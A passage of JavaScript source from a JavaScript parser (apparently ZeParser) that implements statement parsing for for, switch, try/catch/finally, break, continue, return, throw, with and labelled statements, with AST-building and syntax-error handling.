true;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (!(/*is left hand side start?*/ match.name <= 6 || this.regexLhsStart.test(match.value))) match = this.failsafe('StatementHeaderIsNotOptional', match);\n\t\tmatch = this.eatExpressions(false, match, stack);\n\t\tif (match.value != ')') match = this.failsafe('ExpectedStatementHeaderClose', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tmatch.twin = lhp;\n\t\t\tmatch.statementHeaderStop = true;\n\t\t\tlhp.twin = match;\n\n\t\t\tif (stack[stack.length-1].desc == 'expressions') {\n\t\t\t\t// create ref to this expression group to the opening bracket\n\t\t\t\tlhp.expressionArg = stack[stack.length-1];\n\t\t\t}\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tmatch = this.eatStatement(false, match, stack);\n\n\t\treturn match;\n\t},\n\n\teatFor: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'for';\n\t\t\tstack.isIteration = true;\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t\tthis.statementLabels.push(''); // add \"empty\"\n\t\t} //#endif\n\t\t// either a for(..in..) or for(..;..;..)\n\t\t// start eating an expression but refuse to parse\n\t\t// 'in' on the top-level of that expression. they are fine\n\t\t// in sub-levels (group, array, etc). Now the expression\n\t\t// must be followed by either ';' or 'in'. Else throw.\n\t\t// Branch on that case, ; requires two.\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (match.value != '(') match = this.failsafe('ExpectedStatementHeaderOpen', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tvar lhp = match;\n\t\t\tmatch.statementHeaderStart = true;\n\t\t\tmatch.forHeaderStart = true;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\t// for (either case) may start with var, in which case you'll parse a var declaration before encountering the 'in' or first semi.\n\t\tif (match.value == 'var') {\n\t\t\tmatch = this.eatVarDecl(match, stack, true);\n\t\t} else if (match.value != ';') { // expressions are optional in for-each\n\t\t\tif (!(/*is left hand side start?*/ match.name <= 6 || this.regexLhsStart.test(match.value))) {\n\t\t\t\tthis.failignore('StatementHeaderIsNotOptional', match, stack);\n\t\t\t}\n\t\t\tmatch = this.eatExpressions(false, match, stack, false, true); // can parse multiple expressions, in is not ok here\n\t\t}\n\n\t\t// now we parsed an expression if it existed. the next token should be either ';' or 'in'. branch accordingly\n\t\tif (match.value == 'in') {\n\t\t\tvar declStack = stack[stack.length-1];\n\t\t\tif (declStack.varsDeclared > 1) {\n\t\t\t\t// disallowed. for-in var decls can only have one var name declared\n\t\t\t\tthis.failignore('ForInCanOnlyDeclareOnVar', match, stack);\n\t\t\t}\n\t\t\t\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tstack.forType = 'in';\n\t\t\t\tmatch.forFor = true; // make easy distinction between conditional and iterational operator\n\t\t\t} //#endif\n\n\t\t\t// just parse another expression, where 'in' is allowed.\n\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\tmatch = this.eatExpressions(false, match, stack);\n\t\t} else {\n\t\t\tif (match.value != ';') match = this.failsafe('ForHeaderShouldHaveSemisOrIn', match);\n\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tstack.forType = 'each';\n\t\t\t\tmatch.forEachHeaderStart = true;\n\t\t\t} //#endif\n\t\t\t// parse another optional no-in expression, another semi and then one more optional no-in expression\n\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\tif (/*is left hand side start?*/ match.name <= 6 || this.regexLhsStart.test(match.value)) match = this.eatExpressions(false, match, stack); // in is ok here\n\t\t\tif (match.value != ';') match = this.failsafe('ExpectedSecondSemiOfForHeader', match);\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tmatch.forEachHeaderStop = true;\n\t\t\t} //#endif\n\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\tif (/*is left hand side start?*/ match.name <= 6 || this.regexLhsStart.test(match.value)) match = this.eatExpressions(false, match, stack); // in is ok here\n\t\t}\n\n\t\tif (match.value != ')') match = this.failsafe('ExpectedStatementHeaderClose', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tmatch.twin = lhp;\n\t\t\tmatch.statementHeaderStop = true;\n\t\t\tmatch.forHeaderStop = true;\n\t\t\tlhp.twin = match;\n\n\t\t\tif (match.forType == 'in' && stack[stack.length-1].desc == 'expressions') {\n\t\t\t\t// create ref to this expression group to the opening bracket\n\t\t\t\tlhp.expressionArg = stack[stack.length-1];\n\t\t\t}\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\tmatch = this.eatStatement(false, match, stack);\n\n\t\treturn match;\n\t},\n\teatContinue: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'continue';\n\t\t\tstack.nextBlack = match.tokposb;\n\n\t\t\tmatch.restricted = true;\n\t\t} //#endif\n\t\t// (no-line-break identifier)\n\t\t// ;\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack); // may not have line terminator...\n\t\tif (!match.newline && match.value != ';' && match.name != 12/*EOF*/ && match.value != '}') {\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tmatch.isLabel = true;\n\t\t\t\tmatch.isLabelTarget = true;\n\n\t\t\t\tvar continueArg = match; // remember to see if this continue parsed a label\n\t\t\t} //#endif\n\t\t\t// may only parse exactly an identifier at this point\n\t\t\tmatch = this.eatExpressions(false, match, stack, true, false, true); // first true=onlyOne, second: continue/break arg\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tstack.hasLabel = continueArg != match;\n\t\t\t} //#endif\n\t\t\tif (match.value != ';' && !match.newline && match.name != 12/*eof*/ && match.value != '}') match = this.failsafe('BreakOrContinueArgMustBeJustIdentifier', match);\n\t\t}\n\t\tmatch = this.eatSemiColon(match, stack);\n\n\t\treturn match;\n\t},\n\teatBreak: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tvar parentstack = stack\n\t\t\tstack = [];\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'break';\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t\t\n\t\t\tparentstack.push(stack);\n\n\t\t\tmatch.restricted = true;\n\t\t} //#endif\n\t\t// (no-line-break identifier)\n\t\t// ;\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack); // may not have line terminator...\n\t\tif (!match.newline && match.value != ';' && match.name != 12/*EOF*/ && match.value != '}') {\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tmatch.isLabel = true;\n\t\t\t\tmatch.isLabelTarget = true;\n\t\t\t\tvar breakArg = match; // remember to see if this break parsed a label\n\t\t\t} //#endif\n\t\t\t// may only parse exactly an identifier at this point\n\t\t\tmatch = this.eatExpressions(false, match, stack, true, false, true); // first true=onlyOne, second: continue/break arg\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tstack.hasLabel = breakArg != match;\n\t\t\t} //#endif\n\n\t\t\tif (match.value != ';' && !match.newline && match.name != 12/*eof*/ && match.value != '}') match = this.failsafe('BreakOrContinueArgMustBeJustIdentifier', match);\n\t\t}\n\t\tmatch = this.eatSemiColon(match, stack);\n\n\t\treturn match;\n\t},\n\teatReturn: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'return';\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t\tstack.returnFor = this.scope.scopeFor;\n\n\t\t\tmatch.restricted = true;\n\t\t} //#endif\n\t\t// (no-line-break expression)\n\t\t// ;\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack); // may not have line terminator...\n\t\tif (!match.newline && match.value != ';' && match.name != 12/*EOF*/ && match.value != '}') {\n\t\t\tmatch = this.eatExpressions(false, match, stack);\n\t\t}\n\t\tmatch = this.eatSemiColon(match, stack);\n\n\t\treturn match;\n\t},\n\teatThrow: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'throw';\n\t\t\tstack.nextBlack = match.tokposb;\n\n\t\t\tmatch.restricted = true;\n\t\t} //#endif\n\t\t// (no-line-break expression)\n\t\t// ;\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack); // may not have line terminator...\n\t\tif (match.newline) match = this.failsafe('ThrowCannotHaveReturn', match);\n\t\tif (match.value == ';') match = this.failsafe('ThrowMustHaveArgument', match);\n\t\tmatch = this.eatExpressions(false, match, stack);\n\t\tmatch = this.eatSemiColon(match, stack);\n\n\t\treturn match;\n\t},\n\teatSwitch: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'switch';\n\t\t\tstack.nextBlack = match.tokposb;\n\n\t\t\tthis.statementLabels.push(''); // add \"empty\"\n\t\t} //#endif\n\t\t// meh.\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (match.value != '(') match = this.failsafe('ExpectedStatementHeaderOpen', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tvar lhp = match;\n\t\t\tmatch.statementHeaderStart = true;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (!(/*is left hand side start?*/ match.name <= 6 || this.regexLhsStart.test(match.value))) {\n\t\t\tthis.failignore('StatementHeaderIsNotOptional', match, stack);\n\t\t}\n\t\tmatch = this.eatExpressions(false, match, stack);\n\t\tif (match.value != ')') match = this.failsafe('ExpectedStatementHeaderClose', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tmatch.twin = lhp;\n\t\t\tmatch.statementHeaderStop = true;\n\t\t\tlhp.twin = match;\n\n\t\t\tif (stack[stack.length-1].desc == 'expressions') {\n\t\t\t\t// create ref to this expression group to the opening bracket\n\t\t\t\tlhp.expressionArg = stack[stack.length-1];\n\t\t\t}\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (match.value != '{') match = this.failsafe('SwitchBodyStartsWithCurly', match);\n\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tvar lhc = match;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\t// you may parse a default case, and only once per switch. but you may do so anywhere.\n\t\tvar parsedAnything = false;\n\n\t\twhile (match.value == 'case' || (!stack.parsedSwitchDefault && match.value == 'default')) {\n\t\t\tparsedAnything = true;\n\t\t\tif (match.value == 'default') stack.parsedSwitchDefault = true;\n\n\t\t\tmatch = this.eatSwitchClause(match, stack);\n\t\t}\n\n\t\t// if you didnt parse anything but not encountering a closing curly now, you might be thinking that switches may start with silly stuff\n\t\tif (!parsedAnything && match.value != '}') {\n\t\t\tmatch = this.failsafe('SwitchBodyMustStartWithClause', match);\n\t\t}\n\n\t\tif (stack.parsedSwitchDefault && match.value == 'default') {\n\t\t\tthis.failignore('SwitchCannotHaveDoubleDefault', match, stack);\n\t\t}\n\n\t\tif (match.value != '}' && match.name != 14/*error*/) match = this.failsafe('SwitchBodyEndsWithCurly', match);\n\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tmatch.twin = lhc;\n\t\t\tlhc.twin = match;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\treturn match;\n\t},\n\teatSwitchClause: function(match, stack){\n\t\tmatch = this.eatSwitchHeader(match, stack);\n\t\tmatch = this.eatSwitchBody(match, stack);\n\n\t\treturn match;\n\t},\n\teatSwitchHeader: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t// collect whitespace...\n\t\t\tvar switchHeaderStack = stack\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'switch clause header';\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t} //#endif\n\n\t\tif (match.value == 'case') {\n\t\t\tmatch = this.eatSwitchCaseHead(match, stack);\n\t\t} else { // default\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tswitchHeaderStack.hasDefaultClause = true;\n\t\t\t} //#endif\n\t\t\tmatch = this.eatSwitchDefaultHead(match, stack);\n\t\t}\n\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t// just to group whitespace (makes certain navigation easier..)\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'colon';\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t} //#endif\n\n\t\tif (match.value != ':') {\n\t\t\tmatch = this.failsafe('SwitchClausesEndWithColon', match);\n\t\t}\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\treturn match;\n\t},\n\teatSwitchBody: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'switch clause body';\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t} //#endif\n\n\t\t// parse body of case or default, just so long case and default keywords are not seen and end of switch is not reached\n\t\t// (clause bodies may be empty, for instance to fall through)\n\t\tvar lastMatch = null;\n\t\twhile (match.value != 'default' && match.value != 'case' && match.value != '}' && match.name != 14/*error*/ && match.name != 12/*eof*/ && lastMatch != match) {\n\t\t\tlastMatch = match; // prevents endless loops on error ;)\n\t\t\tmatch = this.eatStatement(true, match, stack);\n\t\t}\n\t\tif (lastMatch == match) this.failsafe('UnexpectedInputSwitch', match);\n\n\t\treturn match;\n\t},\n\teatSwitchCaseHead: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.sub = 'case';\n\t\t\tvar caseHeadStack = stack;\n\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'case';\n\t\t\tstack.nextBlack = match.tokposb;\n\n\t\t\tmatch.isCase = true;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\tif (match.value == ':') {\n\t\t\tthis.failignore('CaseMissingExpression', match, stack);\n\t\t} else {\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tcaseHeadStack.push(stack = []);\n\t\t\t\tstack.desc = 'case arg';\n\t\t\t\tstack.nextBlack = match.tokposb;\n\t\t\t} //#endif\n\t\t\tmatch = this.eatExpressions(false, match, stack);\n\t\t}\n\n\t\treturn match;\n\t},\n\teatSwitchDefaultHead: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.sub = 'default';\n\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'case';\n\t\t\tstack.nextBlack = match.tokposb;\n\n\t\t\tmatch.isDefault = true;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\treturn match;\n\t},\n\teatTryCatchFinally: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'try';\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t} //#endif\n\n\t\tmatch = this.eatTry(match, stack);\n\n\t\tif (match.value == 'catch') {\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tstack.hasCatch = true;\n\t\t\t} //#endif\n\t\t\tmatch = this.eatCatch(match, stack);\n\t\t}\n\t\tif (match.value == 'finally') {\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tstack.hasFinally = true;\n\t\t\t} //#endif\n\t\t\tmatch = this.eatFinally(match, stack);\n\t\t}\n\n\t\t// at least a catch or finally block must follow. may be both.\n\t\tif (!stack.tryHasCatchOrFinally) {\n\t\t\tthis.failignore('TryMustHaveCatchOrFinally', match, stack);\n\t\t}\n\n\t\treturn match;\n\t},\n\teatTry: function(match, stack){\n\t\t// block\n\t\t// (catch ( identifier ) block )\n\t\t// (finally block)\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (match.value != '{') match = this.failsafe('MissingTryBlockCurlyOpen', match);\n\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'tryblock';\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t\tvar lhc = match;\n\t\t} //#endif\n\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (match.value != '}') match = this.eatStatements(match, stack);\n\t\tif (match.value != '}') match = this.failsafe('MissingTryBlockCurlyClose', match);\n\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tmatch.twin = lhc;\n\t\t\tlhc.twin = match;\n\t\t} //#endif\n\t\t\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\treturn match;\n\t},\n\teatCatch: function(match, stack){\n\t\tstack.tryHasCatchOrFinally = true;\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'catch';\n\t\t\tstack.nextBlack = match.tokposb;\n\n\t\t\t// the catch block has a header which can contain at most one parameter\n\t\t\t// this parameter is bound to a local stack. formally, if that parameter\n\t\t\t// shadows another variable, changes made to the variable inside the catch\n\t\t\t// should not be reflected by the variable being shadowed. however, this\n\t\t\t// is not very safe to rely on so there ought to be a warning. note that\n\t\t\t// only this parameter gets bound to this inner scope, other parameters.\n\n\t\t\tvar catchScopeBackup = this.scope;\n\t\t\tmatch.scope = this.scope = stack.scope = [this.scope];\n\t\t\tthis.scope.catchScope = true; // mark this as being a catchScope\n\n\t\t\t// find first function scope or global scope object...\n\t\t\tvar nonCatchScope = catchScopeBackup;\n\t\t\twhile (nonCatchScope.catchScope) nonCatchScope = nonCatchScope[0];\n\n\t\t\t// get catch id, which is governed by the function/global scope only\n\t\t\tif (!nonCatchScope.catches) nonCatchScope.catches = [];\n\t\t\tmatch.catchId = nonCatchScope.catches.length;\n\t\t\tnonCatchScope.catches.push(match);\n\t\t\tmatch.targetScope = nonCatchScope;\n\t\t\tmatch.catchScope = this.scope;\n\n\t\t\t// ref to back to function that's the cause for this scope\n\t\t\tthis.scope.scopeFor = match;\n\t\t\t// catch clauses dont have a special `this` or `arguments`, map them to their parent scope\n\t\t\tif (catchScopeBackup.global) this.scope.push(catchScopeBackup[0]); // global (has no `arguments` but always a `this`)\n\t\t\telse if (catchScopeBackup.catchScope) {\n\t\t\t\t// tricky. there will at least be a this\n\t\t\t\tthis.scope.push(catchScopeBackup[1]);\n\t\t\t\t// but there might not be an arguments\n\t\t\t\tif (catchScopeBackup[2] && catchScopeBackup[2].value == 'arguments') this.scope.push(catchScopeBackup[2]);\n\t\t\t} else this.scope.push(catchScopeBackup[1], catchScopeBackup[2]); // function scope, copy this and arguments\n\t\t} //#endif\n\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (match.value != '(') match = this.failsafe('CatchHeaderMissingOpen', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tvar lhp = match;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (match.name != 2/*IDENTIFIER*/) match = this.failsafe('MissingCatchParameter', match);\n\t\tif (this.hashStartKeyOrReserved[match.value[0]] /*this.regexStartKeyOrReserved.test(match.value[0])*/ && this.regexIsKeywordOrReserved.test(match.value)) {\n\t\t\tthis.failignore('CatchParameterNameMayNotBeReserved', match, stack);\n\t\t}\n\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tmatch.meta = 'var name';\n\t\t\t// this is the catch variable. bind it to a scope but keep the scope as\n\t\t\t// it currently is.\n\t\t\tthis.scope.push(match);\n\t\t\tmatch.isCatchVar = true;\n\t\t} //#endif\n\n\t\t// now the catch body will use the outer scope to bind new variables. the problem is that\n\t\t// inner scopes, if any, should have access to the scope variable, so their scope should\n\t\t// be linked to the catch scope. this is a problem in the current architecture but the \n\t\t// idea is to pass on the catchScope as the scope to the eatStatements call, etc.\n\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (match.value != ')') match = this.failsafe('CatchHeaderMissingClose', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tmatch.twin = lhp;\n\t\t\tlhp.twin = match;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (match.value != '{') match = this.failsafe('MissingCatchBlockCurlyOpen', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tvar lhc = match;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\t// catch body. statements are optional.\t\n\t\tif (match.value != '}') match = this.eatStatements(match, stack);\n\n\t\tif (match.value != '}') match = this.failsafe('MissingCatchBlockCurlyClose', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tmatch.twin = lhc;\n\t\t\tlhc.twin = match;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tthis.scope = catchScopeBackup;\n\t\t} //#endif\n\n\t\treturn match;\n\t},\n\teatFinally: function(match, stack){\n\t\tstack.tryHasCatchOrFinally = true;\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'finally';\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t} //#endif\n\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (match.value != '{') match = this.failsafe('MissingFinallyBlockCurlyOpen', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tvar lhc = match;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (match.value != '}') match = this.eatStatements(match, stack);\n\t\tif (match.value != '}') match = this.failsafe('MissingFinallyBlockCurlyClose', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tmatch.twin = lhc;\n\t\t\tlhc.twin = match;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\treturn match;\n\t},\n\teatDebugger: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'debugger';\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tmatch = this.eatSemiColon(match, stack);\n\n\t\treturn match;\n\t},\n\teatWith: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'with';\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (match.value != '(') match = this.failsafe('ExpectedStatementHeaderOpen', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tvar lhp = match;\n\t\t\tmatch.statementHeaderStart = true;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (!(/*is left hand side start?*/ match.name <= 6 || this.regexLhsStart.test(match.value))) match = this.failsafe('StatementHeaderIsNotOptional', match);\n\t\tmatch = this.eatExpressions(false, match, stack);\n\t\tif (match.value != ')') match = this.failsafe('ExpectedStatementHeaderClose', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tmatch.twin = lhp;\n\t\t\tmatch.statementHeaderStop = true;\n\t\t\tlhp.twin = match;\n\n\t\t\tif (stack[stack.length-1].desc == 'expressions') {\n\t\t\t\t// create ref to this expression group to the opening bracket\n\t\t\t\tlhp.expressionArg = stack[stack.length-1];\n\t\t\t}\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tmatch = this.eatStatement(false, match, stack);\n\n\t\treturn match;\n\t},\n\teatFunction: function(match, stack){\n\t\tvar pe = new ZeParser.Error\n\t\tthis.errorStack.push(pe);\n\t\t// ignore. browsers will accept it anyways\n\t\tvar error = {start:match.stop,stop:match.stop,name:14/*error*/,error:pe};\n\t\tthis.specialError(error, match, stack);\n\t\t// now try parsing a function declaration...\n\t\tmatch = this.eatFunctionDeclaration(match, stack);\n\n\t\treturn match;\n\t},\n\teatLabelOrExpression: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tvar parentstack = stack;\n\n\t\t\tstack = [];\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'expression';\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t\tparentstack.push(stack);\n\t\t} //#endif\n\t\t// must be an expression or a labeled statement.\n\t\t// in order to prevent very weird return constructs, we'll first check the first match\n\t\t// if that's an identifier, we'll gobble it here and move on to the second.\n\t\t// if that's a colon, we'll gobble it as a labeled statement. otherwise, we'll pass on\n\t\t// control to eatExpression, with the note that we've already gobbled a \n\n\t\tmatch = this.eatExpressions(true, match, stack);\n\t\t// if we parsed a label, the returned match (colon) will have this property\n\t\tif (match.wasLabel) {\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tstack.sub = 'labeled';\n\t\t\t} //#endif\n\t\t\t// it will have already eaten another statement for the label\n\t\t} else {\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tstack.sub = 'expression';\n\t\t\t} //#endif\n\t\t\t// only parse semi if we didnt parse a label just now...\n\t\t\tmatch = this.eatSemiColon(match, stack);\n\t\t}\n\n\t\treturn match;\n\t},\n\teatBlock: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.sub = 'block';\n\t\t\tvar lhc = match;\n\t\t} //#endif\n\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\tif (match.value == '}') {\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tstack.isEmptyBlock = true;\n\t\t\t} //#endif\n\t\t} else {\n\t\t\tmatch = this.eatStatements(match, stack);\n\t\t}\n\t\tif (match.value != '}') match = this.failsafe('BlockCurlyClose', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tmatch.twin = lhc;\n\t\t\tlhc.twin = match;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\treturn match;\n\t},\n\n\teatStatements: function(match, stack){\n\t\t//this.stats.eatStatements = (+//this.stats.eatStatements||0)+1;\n\t\t// detecting the start of a statement \"quickly\" is virtually impossible.\n\t\t// instead we keep eating statements until the match stops changing\n\t\t// the first argument indicates that the statement is optional. if that\n\t\t// statement was not found, the input match will also be the output.\n\n\t\twhile (match != (match = this.eatStatement(true, match, stack)));\n\t\treturn match;\n\t},\n\teatStatement: function(isOptional, match, stack){\n\t\tif (!match && isOptional) return match; // eof\n\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tmatch.statementStart = true;\n\t\t\tvar pstack = stack;\n\t\t\tstack = [];\n\t\t\tstack.desc = 'statement-parent';\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t\tpstack.push(stack);\n\n\t\t\t// list of labels, these are bound to statements (and can access any label higher up, but not cross functions)\n\t\t\tvar labelBackup = this.statementLabels;\n\t\t\tthis.statementLabels = [labelBackup]; // make ref like tree. we need this to catch labels parsed beyond the current position (not yet known to use)\n\t\t\tstack.labels = this.statementLabels;\n\t\t} //#endif\n\n\t\tif (match.name == 2/*IDENTIFIER*/) {\n\t\t\t// try to determine whether it's a statement\n\t\t\t// (block/empty statements come later, this branch is only for identifiers)\n\t\t\tswitch (match.value) {\n\t\t\t\tcase 'var':\n\t\t\t\t\tmatch = this.eatVar(match, stack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'if':\n\t\t\t\t\tmatch = this.eatIf(match, stack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'do':\n\t\t\t\t\tmatch = this.eatDo(match, stack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'while':\n\t\t\t\t\tmatch = this.eatWhile(match, stack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'for':\n\t\t\t\t\tmatch = this.eatFor(match, stack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'continue':\n\t\t\t\t\tmatch = this.eatContinue(match, stack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'break':\n\t\t\t\t\tmatch = this.eatBreak(match, stack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 